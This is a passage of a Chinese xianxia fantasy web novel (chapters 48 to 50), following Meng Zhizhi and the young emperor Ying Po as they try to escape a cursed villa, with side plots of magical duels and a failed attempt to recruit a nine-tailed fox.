那道模糊的?影子?转而对她,道:“孟枝枝,你想?要什么?” 孟枝枝急道:“我要回家,我要见师父。” 那道影子?似乎早有预料,轻飘飘道:“去吧。” 孟枝枝整个?身?体乍现出金光,她被包裹住,一道暖洋似的?水光流淌在她身?体里。她感觉到自己的?血脉在不断收缩、呼吸,整个?人像被洗涤一般,破损的?奇经八脉被修复,魂魄像吸了日月精华,大量的?灵力?涌入,超过了她的?承受能力?,使得身?体战栗,这股滔天的?天地力?量正无?形地滋养着她。 她望着那道模糊的?影子?,疑惑道:“我见过你?” 她胸口?一疼,额前出现一道双尾蛇纹,她陡然大呵一声。 那道模糊的?影子?又?开口?道:“你的?选择只有一次,这一次一定?要好好选。” 孟枝枝难以承受这样?的?威压,脑子?被塞得鼓鼓胀胀。她充满了疑惑,关于她的?过去、师父的?过去。 师父曾经为她选一条路?她怎么完全不记得了? 而她的?选择……选择只有一次?难道和她的?前一世有什么关系? 她的?大脑都要炸裂开了。 孟枝枝喊道:“告诉我,我师父现在在哪儿?是不是你带走了她?” 那道虚晃的?影子?周身?散发出七彩霓色,“皆来过往,是聚是散,全部在你。” 孟枝枝道:“你……” 她的?身?体被一道刺眼白光打中,整个?人弹了出去。 当?她猛地睁开眼,就见天空大亮,一只山麻雀在窗台上蹦蹦跳跳,它歪着脑袋,黑溜溜的?眼睛好奇地看着她。 孟枝枝立马坐起身?来,山麻雀受到惊吓,展开翅膀飞走。 孟枝枝这才注意到自己身?穿一件干净的?新衣,正躺在……小皇帝的?房间里? 她不是被鬼重伤了吗? 她运起功,检查自己的?脉搏,灵气在交杂错乱的?气脉之?中流窜,十分通顺。 她双眸一惊。 她……她怎么全好了? 刚刚做的?梦……那是…… 这时?,门口?一开,风顺着吹了进来。 一道踉跄人影出现在门口?。 小皇帝满脸乌烟烟渍,手里小心翼翼地捧着一碗热粥,走进来时?,正对上孟枝枝的?目光。 他呆滞的?眼神一愣,忽而眼神渐亮。 他急迫地直奔过来。 孟枝枝看他的?动作慌乱急切,连忙道:“小心粥烫手。” 没想?到小皇帝动作又?快又?稳,将热粥置在一旁,只溅出一些,他上前一把抱住孟枝枝。 他下巴压着她的?肩头,声音喑哑道:“你醒了。” 第48章 第 48 章 孟枝枝想推开他, 手?刚要触及他的臂膀,又渐渐放下,道:“恩,我全都好了?。谢谢你, 赢破。” “我等了?很久。” 小皇帝声音听起来?莫名?有种委屈。 孟枝枝道:“对不?起。” 赢破道:“没有下次。” 孟枝枝心跳漏了?一拍, 她?垂下眼?眸, 微张双唇道:“不?会再有下次了?。” 她?又道:“我伤了?两次, 都是你救了?我。你是不?是又血喂给我血了??我替你看?看?。” 赢破却突然向后撤离, 他将身体侧到一边去,露出的半张精致的脸冷淡到极致,道:“孤没事?。” 孟枝枝十分不?解。 她?伤了?神魂,极难治好。想起上?次水夜叉之事?,赢破划破手?用自己的血救了?她?。大战之后, 小桃仙将她?送了?回来?,也是他救了?她?。虽然小桃仙他们瞒着她?,但她?早已知晓赢破体质的蹊跷。只是令她?没想到,他这一身血肉治愈之力惊人。 他的鲜血还有重聚神魂的能力?这次又不?知道耗了?他多少血。 现在见他气色不?佳,双唇苍白如纸, 步伐虚浮, 这实在令人担忧。 赢破脸渐渐变臭, 他一挥衣袖,身姿挺拔, “我说没事?就是没事?。” 孟枝枝不?想让他再生气下去,她?另道:“吃枣吗?” 她?顺手?从腰间的香囊里一摸,里面?空空如也。 她?差点忘了?, 那夜大战,她?耗尽了?所有, 现在刚醒,还没得及重新种咒枣,一时觉得有些尴尬。 一颗红彤彤的红枣出现在她?眼?前,竟是小皇帝递给她?的。 她?微愕。 小皇帝将咒枣举到了?她?的面?前,已经闻到甜甜的枣香。 赢破又不?知从哪儿掏出一把咒枣,对她?道:“我还有。” 他弯下身,将咒枣一把塞进?了?她?的桂花香囊之中,修长的苍白手?指和?鲜红的咒枣如雪中一点红梅。 小皇帝端起粥,坐到了?她?的床边,将一勺热粥递到了?她?的唇边。 孟枝枝心里翻江倒海。 她?犹豫了?半晌,还是乖乖吞下那一口?热粥。 赢破脸色好了?几分,嘴角不?由地勾了?勾。 待赢破走?后,孟枝枝从床上?下来?,她?如今心中有太多疑惑了?。 那个梦境无比真实,让她?记起自己一段被掩盖住的过往,她?直觉是师父施了?法术故意使她?遗忘。她?只记得自己一直跟在师父身边长大,从不?记得父母,连半分记忆都没有。从前从来?没觉得哪里不?对,但突然回忆起,依然还能感受心尖那种深刻的痛苦,若说这样深刻的记忆能完全遗忘那便太不?正常了?。 她?不?知道师父曾经做过什么决定,但她?感觉到那个决定似乎与自己重生息息相关,还有师父的命运…… 那人说她?和?师父缘分浅,但又说“一切在她?”。 她?走?到桌前写上?一道通讯符纸,一气呵成,立即催动。 别?院之外,重兵把守。 吊桥岸边聚集了?无数将士驻扎此地,将水岸围得严严实实,桥上?又添了?许多新加的黄色符纸。 吊桥阴森诡异,浓雾弥漫,使此地更加压抑诡谲,所有人沉默着,站如磐石,他们似乎在等待着什么。 冥漆也在此地已等了?许久,他看?到天空一道不?起眼?的符光乍现,正向他飞来?,他心中激动难耐。 突然,还未到他这里,符纸便在空中焚烧殆尽,化成灰烟消失在空气中。 冥漆身体一僵。 他看?见那群人类之中,有长眉道士携拂尘而出,原来?是道士截住了?那道符光,掐断了?这条救命通讯。 长眉道士道:“樊大人。” 樊鸣赫然现身,穿着一身黑衣斗篷,声音冷漠:“继续给我盯死,有任何异动都要向我报告。” “是。” 冥漆心道,糟了?,如果有道士在其中,枝枝他们便无法向外求救。樊鸣这是要弄死枝枝他们! 冥漆不?敢轻举妄动,先隐身而去。 孟枝枝迟迟没等来?回应,心中狐疑,不?知道先前她?放信给小桃仙和?冥漆,他们是不?是已安全逃出皇都之外。 她?只能按捺下担忧,继续写符。 夜晚降临,冷月孤寂。 孟枝枝走?出别?院,她?快步往吊桥走?去,一道身影跟在她?身后。 她?叹了?口?气,回头道:“这次我必须离开了?。你愿意跟我出去吗?” 赢破眼?神微动,“你不?是想丢下我?” 孟枝枝道:“原是想过的,但是……” 孟枝枝缓了?缓道:“此地是鬼母封印之地,如果我们再呆下去,每逢鬼母诞子之时,我们就会有生命危险,以我的能力,杀不?死道行高深的鬼母,在下一次鬼母诞子之前,我们必须得尽快远离此地。” 她?抬头向桥的那一头看去,道:“我已经观察过周围,出去的路只有那一座桥,但我怀疑外面?樊鸣已经派了?人把守。” 赢破的目光落到她?的身上?,她?梳着高高的马尾,就像那一夜他们躲在树上?,她?将头发扎成高翘的马尾,从树上?纵身一跃,那一道身影决绝凌厉。 她?认真道:“不?管如何,我们都得试试!” 二人来?至桥边,浓雾弥散,仔细看?,能见那浓雾透着黑气。原来孟枝枝注意不?到,现在不?知道是不?是因为经历了?多次战斗,她?能更加清晰看?见那些浓雾之中蕴藏的邪气。 别院如此重的阴气,与其说是地处偏僻,难见太阳,倒不?如说是鬼母的邪气太重,使得整个地方都被染上了浓重的阴气。 她?尝试着踏出一只脚,只见她?脚上?立马燃起火焰,灼烧之感烧得她?额头冒汗,又烫又疼。 她?赶紧退出,施法用咒水浇灭,但脚上?的灼烧之感依然不?散去,烧疼到了?她?的根骨里。 孟枝枝不?由地屈膝,赢破见状又咬破自己的手?,将血喂到她?嘴边。 孟枝枝脸色青白,双唇失色,一半是气的,一半是火烧得疼,道:“你怎么能这样随意伤害自己!” 她?连忙施展法术,双手?合住一颗咒枣,施展出她?此生最为精妙的一次治愈术。她?将咒枣塞进?他的嘴里,又将灵气灌输进?他的身体里,让外伤凝结成疤。 她?累得气喘吁吁,只见那疤刚刚形成,他的皮肤一瞬恢复如初,脂如凝玉。 赢破连忙扶住她?,从她?掏出咒枣的那一刻,他就没打算提醒她?——他可以自愈。见她?如此为自己,他的内心有种变态的满足感。 他目光隐隐落到她?的脸上?,不?愿错过一分一毫。 孟枝枝显然根本没有在意这点,见他的伤口?好得很快脸上?表情松快了?许多,她?实在不?想再欠赢破的情。 她?的注意力又全然转移到自己脚上?的伤。 现如今她?才明白自己的身体有哪里不?一样了?,吊桥上?的符咒明显排斥着她?。 是因为她?喝了?小皇帝的血吗? 这般灼烧之疼,不?知道小皇帝是怎么忍受住的。她?坦言,她?实在难以忍受。 小皇帝因为有强大的治愈能力,所以身上?没有落下烧伤,但她?却不?能一瞬做到。 她?的医术能保人性命,但若让皮肤恢复如初,甚至返老还童,得需要名?贵的仙草制药,仙丹难得,这其中制药关卡既复杂又困难,不?是那么轻易就做得到的。 她?从前知道有人垂涎小皇帝身上?的血肉,但不?知道小皇帝身上?的血肉效果竟然如此之好。凡事?要亲眼?见过才知实情。 现在她?隐隐开始感觉内心沉重,赢破这十几年到底是怎么度过的? 她?捂住胸口?,眉头紧皱。 赢破见状,又要往胳膊上?咬。 孟枝枝立马阻止了?他,“你再这样,我就要生气了?。” 赢破莫名?心慌,道:“我不?做了?。你别?去,让我去。” 他站起身,要往桥上?冲,孟枝枝连忙拉住了?他。 “不?行!他们说不?定在对面?埋了?埋伏。你过去要是出事?了?怎么办?” 赢破扭过身,眼?里是隐隐约约的亮,道:“你在意我?” 孟枝枝道:“我当然不?能眼?睁睁看?你去送死。” 赢破踏出的身形又慢悠悠地撤回来?,他道:“你想怎么做?” 孟枝枝的目光像是要穿透这浓雾,道:“我们再等等。” “等到什么时候?” “子时之后。” 吊桥外,将士们熬得双眼?通红。自那夜樊鸣撤离别?院之后,他们便调到了?此地,他们是皇宫里最精锐的部队,也是樊家最忠诚的看?门狗。 他们每人嘴中含住一颗药丹,那长眉道士说这是提神丹,可以使人长久不?睡之后,也能保持最佳状态。 长眉老道盘坐在地,闭眼?凝神。 忽而,一阵臭味弥漫,众人不?由遮鼻掩盖。 长眉老道睁开眼?睛,“镇静!” “道长,真的好臭啊!” “太臭了?!我要没法呼吸了?!” 长眉老道一挥动浮尘,捏诀贴符,臭味消散,他冷哼一声道:“雕虫小技。” 树林里发出细细簌簌的声音,突然四处窜出来?一群乌压压的东西。 众人定睛一看?,惊恐道:“老鼠!这里有好多老鼠!” 四周遍布着无数双绿油油的眼?睛,它们数以百万计,以极快的速度向人群冲来?。 它们跳到将士身上?啃咬撕扯,将士们个个身强体壮,功夫高超,但数百只老鼠齐齐跳到身上?,躲也躲不?了?,哀嚎声顿时在人群中爆发。 长眉老道掏出一张符纸,吹了?出去,符纸瞬间燃烧成一片火海,老鼠被烧得吱吱地尖叫起来?,连带着被老鼠缠住的将士们都被烧了?起来?。 熊熊烈火,浓烟熏烤,肉烧得滋滋响,糊味扑鼻而来?,人们痛苦嚎叫呻吟,场景宛如人间炼狱。 数具浑身焦黑的将士在地上?打滚。 老鼠们像是不?怕死一般,哪怕有烈火在前,也疯了?一般往人身上?扑。 长眉老道骂道:“一群废物,派不?上?一点用处。” 他一挥拂尘,道:“想要过桥,门都没有!” 他以拂尘在空中画符,又捏诀,几道火舌瞬间弥漫整条水岸,发出滔天火光,他的道袍也被火浪吹起。 他双眸一定,“看?到你了?,妖孽。” 在烧焦的鼠群之中,有一只白肚皮的老鼠,它的眼?睛投射出妖冶绿光,明显与其他老鼠不?同。 他冲冥漆直奔而来?。 所有老鼠像一瞬听从了?谁的命令,直冲向长眉老道,冥漆的身影一瞬被遮掩住。 “往哪里逃!”长眉老道捏符,他手?中拂尘一刹那燃烧起来?,一挥拂尘便宛如着火的长鞭子朝地一打,火鞭子打得老鼠四处惨叫,老鼠的尸体像雨水一样散落开来?。 冥漆眼?看?要踏上?吊桥,火鞭落下,在他跟前落下一道烧焦的黑痕。他不?得已身形一变,变成一只四肢巨兽,他冲长眉老道发出嘶吼,周围的老鼠都朝他聚集而来?,众鼠群齐齐对着长眉老道。 长眉老道横道:“不?知天高地厚的鼠妖!贫道今日就让你看?看?什么是仙,什么是不?自量力!” 他捏诀,手?中燃烧着的一条“火鞭子”变成九条,宛如九尾狐的九只大大的红色狐尾。 九条火鞭子宛如风火轮转动,那些老鼠都像是被清扫的垃圾,一被火鞭触及就灰飞烟灭了?。 冥漆向天空发出一声悲鸣,头也不?回,向吊桥那一头冲进?去。 长眉老道像鬼魅一般痴缠在身后,他一道火鞭子投掷出去,缠住了?冥漆的一只腿。冥漆顿时摔倒在地,他又缩小成一只小小的花枝鼠。 长眉老道挥出五道火鞭,变换成一张火网,热浪滚滚,眼?看?就要落在冥漆背上?。 一阵风裹着夹竹桃花瓣向那五道火鞭冲去,二者相撞,在空中爆炸出熊熊黑火,爆炸形成的冲击波,使得冥漆扑倒在吊桥上?。 他全身巨痛,扭头回看?,喊道:“小桃仙!” 小桃仙现身出来?,身上?长满了?桃红花瓣,双腿变成一根手?臂粗的树枝,站立在吊桥上?。 “小桃仙。”冥漆已经化回人形,焦急地叫喊着她?的名?字。 小桃仙冷看?了?他一眼?,“别?跟我说话!” 她?飞到半空中,与长眉老道对立。 第49章 第 49 章 小桃仙施展万花阵, 成千上万的剧毒夹竹桃一瞬在空中开放,毒素瞬间弥漫了整个空间。 长眉老道立马将九道火鞭收拢回来?,护住自?己。 二人斗法,一时不分上下。 看冥漆还守在她身?后?一动不动, 小桃仙骂道:“还不快滚。” 冥漆眼?中分明纠结, 他看了一眼?吊桥那头, 又?看向?小桃仙, 道:“小桃仙, 我……” 小桃仙道:“你再不滚,我就杀了你。” 冥漆浑身?一滞,咬紧牙掉头向?吊桥那头冲去。 长眉老道想要阻止,就见小桃仙拦住他的去路,道:“老东西, 你的对?手是我。” 长眉老道两?指一并?,道:“你这玉坤山的妖道,插手人间之事,就不怕我向?玉坤山告状?” 小桃仙冷笑一声?,道:“噢, 你要告我什么状?姑奶奶来?此处散步, 就被你不分青红皂白殴打, 姑奶奶不过是除害群之马,教训一下你这个老东西。” “你……”长眉老道被气得双眉一抖, 他知晓玉坤山一贯是妖妖相护,他不知为何?玉坤山的弟子怎么也掺和进来?,仙界早已不管人间之事, 怎么偏偏这时又?插了一脚? 多说无用,开打就是, 速战速决。 他再不藏私,直接扔出法器。刚刚拂尘只?是变化为九条火鞭,现在却合变成一整条又?长又?粗的火鞭,那身?躯粗如千年?老树,像火红的巨蟒朝小桃仙袭去。 小桃仙立马顶住,她周身?气波流转,从背后?长出千万树枝,树根上顿时生成成千上万的夹竹桃花瓣,剧毒的桃色花瓣往前扑去,像张开的巨口,吞噬冲来?的火蟒。 小桃仙桃色的脸容显出道道被火烧的黑痕,但她似乎一点都不惧怕,用自?己的原神本体绞杀那长眉老道的法器。 只?见火蟒受到毒素侵蚀,身?上显出紫黑色斑纹,它的七寸被小桃仙压制,蛇尾急剧甩动,岸边的树木全遭了殃,当场被拦腰斩断,地上燃烧着炭黑色的树枝残躯。 长眉老道心道,糟糕,这妖道也修的道,她并?不是单纯的妖邪。道术天生能对?抗妖邪,是妖邪的死敌,但对?同道之人却并?非如此。 妖怪天生就会法术,修炼比人快,他感觉到这是只?颇有道行的老妖。而他不过是樊家找来?的替补,净念道师那老不死横死此地,他原来?以为是那皇帝小儿身?上邪性,现在看来?竟是另有帮手。 难怪了…… 他的火术定破不了她的妖术。 他明白之后?,立马扯回自?己的法器,结果没想到小桃仙速度更快,将他的法器吞并?,搅碎成沙,万千剧毒的夹竹桃妖艳妩媚。 正应验了那句话——越美的东西越毒。 小桃仙道:“知晓姑奶奶的厉害,就快滚!” 长眉老道道:“老妖,贫道劝你别掺和此事。仙界早已不管人间之事,你白白掺和进来?,不怕玉坤山责怪你拖玉坤山下水?” 小桃仙道:“你们这些老东西是不是都爱讲废话!这里已经是姑奶奶的地盘,懂?” 长眉老道道:“妖始终是妖,我与你讲不通。你不辨人情世故,那么多仙门弟子都不掺和进来?,你以为是他们对?这里毫不不知情吗?” 他的语气别含深意?,道:“这一切都是仙界有意?放纵。” “放你的狗屁,”小桃仙耐心用尽,道:“姑奶奶还是这句话,要么打,要么滚。” 长眉老道见她听不进,一意?孤行,伸展道袍,悠然落地,他从怀中掏出一锦囊,眼?神里透着毒辣。 只?见他将那锦囊拉开,里面的东西飞了出来?,是一些微小的颗粒。小桃仙下意?识自?保,将“翅膀”收拢回来?,护住本体。 那些微小的颗粒碰到小桃仙的“翅膀”便开始冒起黑气,在火光一片天中,黑气瞬间散成喷薄的海浪波涛,向?小桃仙碾压过来?。 小桃仙周身?散着桃色的刺眼?光芒,那黑浪却更胜一筹,声?势浩荡,生生挤压了下去,她的万千夹竹桃一瞬枯萎,花瓣掉落。 整个“翅膀”只?剩下干枯的骨架,小桃仙感到身?体有什么入侵,整个人从空中坠落下来?。 她抚住胸口,将堵在喉咙间的鲜血吞咽了回去,道:“天……天仙子,你这老东西竟然有魔物!” 长眉老道哈哈大笑,道:“放你走,你不走。这下晚了。” 小桃仙眉间透着黑气,桃色的脸庞渐渐枯败,看着天仙子的种子分明只有小小数粒,却诞生出无穷无尽的魔气。那魔气直冲天空,风起云涌。 人界皇都,地动山摇。 千霄宫中,云庭猛地睁开眼?睛,弹坐起来?。他的无尘剑剧烈地颤抖着,纯白剑身?皎洁如白雪,剑指着人界方向?。 他毫不犹豫,手拿无尘剑,破开大门。 一位师弟正端来?汤药,看云庭急匆匆道:“大师兄你醒了,真的太好……大师兄,你去哪儿?大师兄?!” 师弟阻止不及,就见云庭已飞往人界。 师弟急忙大喊道:“快来人啊,大师兄跑了!” 路一剑跑到玉坤山,一路上求爹爹告奶奶地想见蓝倾,但路上没一个妖精待见他,有的甚至一闻到他的味道就跑了。 路一剑心中大骂,玉坤山这群妖道真够讨厌! 他翻山越岭好几日,终于?遇见了一只?趴着不动的蘑菇精。 蘑菇精懒洋洋的正栖息在一颗树上,它小如人的小手指,不仔细看,在这林子里还真发现不了它。 它道:“谁知道啊,蓝师兄从来?都是想去哪儿就去哪儿?欸,什么剑,你往旁边走点儿,最近这日头太强,想找个好好修炼的地真难。” 路一剑蹲在树根,只?好挪了挪屁股,他擦了擦鼻尖的汗水,道:“敢问道友,蓝师兄一般喜欢呆在何?处?这正事真不敢耽误,我迫切需要见到蓝师兄。” 蘑菇精伸出腰,往树枝上蹭了蹭,像是在掏耳朵似的,思考道:“我想想。啊……” 路一剑心里着急得要死,蘑菇精啊了半天,才慢吞吞道:“想不起来?。” 路一剑差点破口大骂,他强压着扭曲的面部,露出一个皮笑肉不笑的表情,道:“那道友,我该找谁问呢?” 蘑菇精吧唧吧唧嘴,道:“大树,还是你说吧。” 这时,蘑菇精依附的大树突然抖动了枝桠,吓得路一剑一屁股坐在地上。 实在是这树看起来?和平常树木一模一样,他跟蘑菇精在这里耗了半天也不动,哪里晓得竟然又?是个妖精。 大树睁开两?只?绿绿的眼?睛,盯着路一剑,从上看到下。路一剑被看得瘆得慌,道:“树道友,敢问蓝师兄平时爱去哪儿?” 大树道:“你找蓝师兄究竟有什么正事?” 路一剑道:“事关重大,我只?能这么说,此事和除邪有关。” 大树身?子往前一倚,绿油油的大眼?睛贴近他不足两?公分,吓得路一剑不敢动。 大树凝视了他许久,才回弹身?子,道:“你没有说谎。” 路一剑松一口气。 蘑菇精哈哈大笑,道:“大树,你看你把他吓成那傻样!” 路一剑此刻真想一手掐死这只?蘑菇精,袖下的手已握成钩爪状,又?生生克制住。要不是师父亲自?托付给他的任务,他才消得跟这群妖道打交道。 大树道:“蓝师兄平日里爱闲逛,还爱喝酒,喝醉了就喜欢发酒疯,山林里各个角落都可能撞见他。” 路一剑心中吐槽,他娘的,他还是得翻山越岭找蓝倾?! 大树又?道:“不过蓝师兄若是喝醉想睡觉,一定会呆在定风坡的洞里。可是那个地方我们全山的妖怪都不敢去,那里是蓝师兄的地盘。” 蘑菇精急道:“大树!你跟他说这些,蓝师兄万一知道了要来?杀你怎么办?” 大树立马对?路一剑道:“你不能说是我说的。” 路一剑抱拳,道:“多谢道友,我必不会泄露此事,天地为证,我路一剑说话算数。” 蘑菇精催促道:“赶快走。别让人看见我们跟你说话。” 路一剑立马踏着风,去往定风坡。 定风坡是一处绿坡草原,地处玉坤山西南方向?,此处鸟语花香,有汩汩泉水,水边有小鹿喝水。 路一剑跋山涉水这么多天,一下看见平缓的草原,想到蓝倾近在眼?前,不由两?眼?泪汪汪。 他生知蓝倾性情还要古怪,但除邪迫在眉睫,可若是直说明来?意?,蓝倾一定不愿现身?,说不定还要将自?己一狐尾扇回千霄宫。 他心急如焚,左右踱步,思来?想去,突然想起了一桩陈年?旧事。 他曾听说过,蓝倾性格别扭,做大妖怪的时候就是独来?独往,而且从来?不跟人类打交道。但一百年?前,他的名字开始出现在仙门口口相传之中,缘由是他凶名在外,和他打过架的仙门之人都败下阵来?,被打败的人中还不乏长老级别的人物,但后?来?他突然成为玉坤山弟子,听说是为了一个人。 记得他的师父贤剑真君曾经说过,妖怪守约,玉坤山的蓝倾尤是。 蓝倾有多讨厌人类,仙门之人皆知。很难想象,他竟然为了一个人类去当仙门弟子,这一当就是一百年?。 他幼时曾向?师父问过:“让蓝倾如此甘愿的那个人究竟是谁?修为很高深吗?是不是蓝倾打不过他,所以才甘愿认输的?” 贤剑真君回应他道:“知晓那人来?历的人极少,为师也不知晓,听闻那人失踪了,蓝倾找了许久。” 他问道:“那最后?找到了吗?” 贤剑真君摸着他的头,叹道:“没有。” 路一剑现在想起这事,突然联想到蓝倾留在玉坤山当弟子是不是为了找到那个人。 现在他无路可走,只?得拜托这位一百年?前的老前辈,让他保佑自?己诓骗……不对?……劝说蓝倾成功。魇灵之事关系天下苍生,师父为了此事焦头烂额,大师兄都差点死掉了,师父既然说蓝倾有办法,那他一定要请蓝倾出山帮忙。 他屏住呼吸,然后?深吸了一口气,冲着定风坡大吼道:“蓝倾师兄,我是千霄宫的路一剑,你在吗?” 他这一嗓子,惊走了溪边小鹿、树上小鸟,定风坡上安静得只?有风吹的声?音。 路一剑咬咬牙,捏诀之后?,摊开手,掌心现出一壶冰心琉璃盏。这冰心琉璃盏里是他私藏了好久的逍遥酿,连大师兄都没分享过。 他打开盏嘴,逍遥酿的香味一瞬飘逸,随着坡风散开。 未等?他喊出第二句,便察觉山摇地动,他双手紧紧握住冰心琉璃盏,生怕漏一点出去。 不远处就见烟尘四散,一个巨大的身?影走来?,是一只?巨型的白色九尾狐。 路一剑一张嘴张大,赶紧闭住了。 他看见那只?巨大的九尾狐轻轻一跃就跳到他跟前,用一只?尾巴紧紧勒住了他的上身?。 “蓝倾师兄,蓝倾师兄,我是路一剑,千霄宫的路一剑啊!别杀我!咳咳……” 狐狸脑袋一歪,尖尖的三?角脸露出狭长妩媚的眼?睛,狐嘴一张,锋利的尖牙露出。 “路……一剑?” 路一剑赶紧咧开嘴,“是我,就是我,我来?给蓝师兄送酒了。” “叫我狐仙大人。” 一只?狐狸眼?侧瞥着他,那狐狸眼?美如琉璃,竖瞳四周旋转着像花一样的纹路,带着兽性的冷和自?然的美,但此时此刻的路一剑完全无心欣赏,他感觉蓝倾再用一点力,自?己就要死了。 “狐仙大人!” 他赶紧努力抬起自?己的手,手中的冰心琉璃盏滑落下来?。 路一剑眼?睛都瞪大了。 只?见一只?巨大的尾巴伸了过来?,冰心琉璃盏稳稳地落在白色光滑的狐狸毛上。 狐狸低头闻了一下,醉醺醺道:“好酒!” 路一剑差点吓尿了,是不是没这个酒,他刚刚就被杀了? 只?见狐尾将那冰心琉璃盏往天上一抛,琉璃盏在空中闪了下光,酒全进了狐狸嘴。 哐当一声?,冰心琉璃盏砸碎在地上。 那一瞬,路一剑心也跟着碎了。他攒了两?年?的钱才买的冰心琉璃盏就这么没了? 狐尾一松,路一剑屁股着地,疼得嗷嗷直叫。 “无事献殷勤非奸即盗。你找我狐仙大人所谓何?事?” 只?见面前化形出一个人,他人形九尾,穿着艳丽的睡袍,一把团扇挡住了下半张脸,露出一双喝醉的眼?粉熏桃色。 第50章 第 50 章 路一剑有?一瞬看呆, 屁股上的疼又使他清醒过来。 他心里骂道这?死狐狸修炼那么多年,没学?会人的一点慈悲之心,左看右看都是个死妖精。 他强忍着疼意,摸着腰后, 道:“我确实找你有?事相求, 事关?天下苍生……” 蓝倾不知从哪儿?又掏出一壶酒, 道:“不帮。”说完, 仰头喝了一嘴。 路一剑:……妈的, 现在拿剑砍死他行不行? 他求道:“此事只能蓝倾师兄能帮忙,不,狐仙大人,狐仙高人,求求你, 下山救救百姓们吧!” 蓝倾斜睨了他一眼,道:“万物有?道,如果他们注定要死,这?便是他们的命,我为何要去干预?” 路一剑太阳穴直跳得厉害, 他压抑下去, 道:“万物皆有?情, 各族都是依靠彼此才能在这?万千世界生存下去,如果都置之不理, 那这?世界也?不会像如今一般繁荣昌盛。” 蓝倾笑道:“所以说白了,还是你们人类惧怕火烧到自己头上,又或是担忧死了那些人, 以后你们就没有?可驱使的奴隶了?” 路一剑气道:“此话过分!” 他平缓了一下呼吸,又道:“狐仙大人, 玉坤山的诸位同?是修道之人,既是道友,也?便信奉道君。我等有?幸成为修道之人,占用天地灵气,就有?义?务去反哺万物生灵。我路一剑虽然?是一小小修士,早已与凡尘亲缘诀别,但我不希望人间的小孩子也?同?我一样与亲缘分离。路某但凡尚有?余力,都愿为人间赴汤蹈火,在所不辞。” 蓝倾耳朵跳了跳,道:“说得好?!不过你们要去送死,我为何要陪着你们?” 路一剑咬紧后牙。 蓝倾道:“你们人修是从人间而出,出息了想反哺自族也?实属正常。可我们狐族千万年来被人类残害,皮毛被人扒了做成衣服炫耀;初生崽儿?从狐洞里被人抢走贩卖;人类还砍伐树木,狩猎兔子、鸟、鱼,没有?了食物和住所,狐族挨饿受冻。照此理,我们岂不是和人类有?深仇大恨,又为何要去帮我们的仇人?” 蓝倾悠悠地往前迈步,向身后的路一剑道:“看在你逍遥酿的份上,本大人今日不与你计较,但下次再踏入定风坡一步,摔在地上的就不会只是你的屁股了。” 路一剑急道:“蓝倾!你知道神?域吗?!你有?没有?想过你要找的那个人可能还活在这?个世上?” 一道强劲挥来,巨大的狐尾将路一剑摁在了地上。 路一剑差点窒息,他看见蓝倾平日里一贯懒散的表情瞬间像变了个人似的,那种?陌生的强压感让他不禁咽了咽口水。 他今天真的是彻底豁出去了。 他道:“神?域,是所有?修道成仙之人都想要去的地方,那也?是修仙的最终之路。我师父说过,神?域是上古真神?呆的地方,和后天修炼成仙的神?仙不一样,上古真神?与日月星辰同?时诞生,盘古、夸父、女?娲……正因为他们创造了天地和万物,我们才能在他们曾经呆过的地界获得灵气,成为修士。修道成仙也?是为了成为上古真神?的供奉者,常伴其左右。” 蓝倾脸色阴森,道:“这?跟你嘴里说的事有?何相关??” 路一剑从来没有?看见过蓝倾这?么认真的表情,他大着胆子道:“我师父曾经说过,人有?投胎转世一说,结了善缘、有?仙缘的人会被上古真神?庇佑,说不定会再生而为人。” 他想,能让蓝倾迷途知返,从一大妖怪变成神?仙的人绝非一般人,如果不善良不仁爱怎么可能感化?这?个一根筋的大妖怪呢? 必定是那人太好?,才叫蓝倾念念不忘。 没错,他选择赌一把。 蓝倾眯着眼,“你是真的不怕死。” 路一剑道:“我的确希望想蓝师兄下山救人,但我所言也?不假,师兄想一想,若师兄要等之人投胎转世去了人界,人界现在却被邪恶祸乱,那人岂不是要经历流离失所,痛失亲人?” 蓝倾一个狐尾将他扇离地面十?米高,路一剑后背砸地,痛得两眼瞪大,在地上蜷缩翻滚,半晌都缓不过来。 “如此拙劣的言论?,居然?也?有?傻子拿来骗人。路一剑,你觉得本狐仙比你还像傻子吗?” 路一剑颤抖地伸出手指,道:“我没有?,我师父真这?么说过!” 蓝倾再不耐烦,又是一狐尾巴扇了过来,这?一次路一剑只听得见两耳狂风贯贯,蓝倾的声音幽幽地飘来。 “滚远点。再来,我就扇碎你。” 路一剑这?一飞,飞了不知多远,玉坤山的许多妖精都看到了,纷纷窃窃私语。 “他飞了有?多久?两个时辰有?吗?” “不止,不止,迄今为止最长的一个啦。” “太惨了,这?都是第多少个了?怎么总是有人不信邪,蓝倾师兄才不会帮忙呢。人类,那是最讨厌的了!” “他到底说了什么啊,这?么久还没落地,看来蓝倾师兄气坏了。” “……” 路一剑听说大师兄逃跑的时候,人正挂在悬崖的一颗树上。 他赶紧联系了师父,师父看着他露出了一脸慈爱心疼。 路一剑感觉自己丢老?大脸了,道:“师父,都是徒儿?无用。如今怎么办?” 贤剑真君安慰道:“此事为师早有?预料,蓝倾不愿相助不是一日两日了,你不必介怀。现如今你大师兄安危要紧,此事还要你下界跑一趟。” 路一剑颤颤巍巍道:“师父,我要是拉不住大师兄该怎么办啊?” 上一次水夜叉就连蓝倾都没拉住大师兄,这?次面对的可是从千霄宫逃跑多日的邪怪——魇灵。他光是想想那个场面就头皮发麻。 贤剑真君道:“还记得你临走前,为师交给你的锦囊吗?” 路一剑立马从怀里掏出锦囊,道:“在我这?儿?呢,师父!” “打开它。” 路一剑打开一看,就发现是一柄绿色的玉如意,玉如意一被掏出来就变大了。 他极为兴奋道:“师父,这?柄玉如意真是给我的?” 贤剑真君道:“此番凶险,玉如意就交由你,好?好?保护。” 路一剑知道这?玉如意是他们师门的一大重要法器,不比大师兄的那个紫金葫芦差。 路一剑道:“我知道了,师父。” 他催动玉如意,念了一个简单的治疗决。玉如意散出萤火一般的星星绿光,不过是短短一瞬,路一剑不光感觉到自己身体被修复,还感觉到一股加成之力,力量增强。 他道:“师父,这?是……玉如意的力量?” 贤剑真君道:“是。” 路一剑从树上飞起,束发翩翩,抱拳道:“师父,这?次徒儿?一定不会辱没师门!” 天空中乌云密布。 孟枝枝焦急地看着吊桥的方向,那里漆黑一片,什么都看不见。 “子时到了。”赢破站在她的身边,神?情淡漠。 孟枝枝眼神?片刻散光,继而又变得坚毅起来,道:“如果是这?样,我们就自己出去。” 孟枝枝捏诀,刚开启金身,一双金色眼睛刚一透视吊桥,吊桥摇晃,俶尔动作十?分剧烈,整个桥身摇摇欲坠。 忽然?一阵旋风如卷,从吊桥袭来,卷向他们。 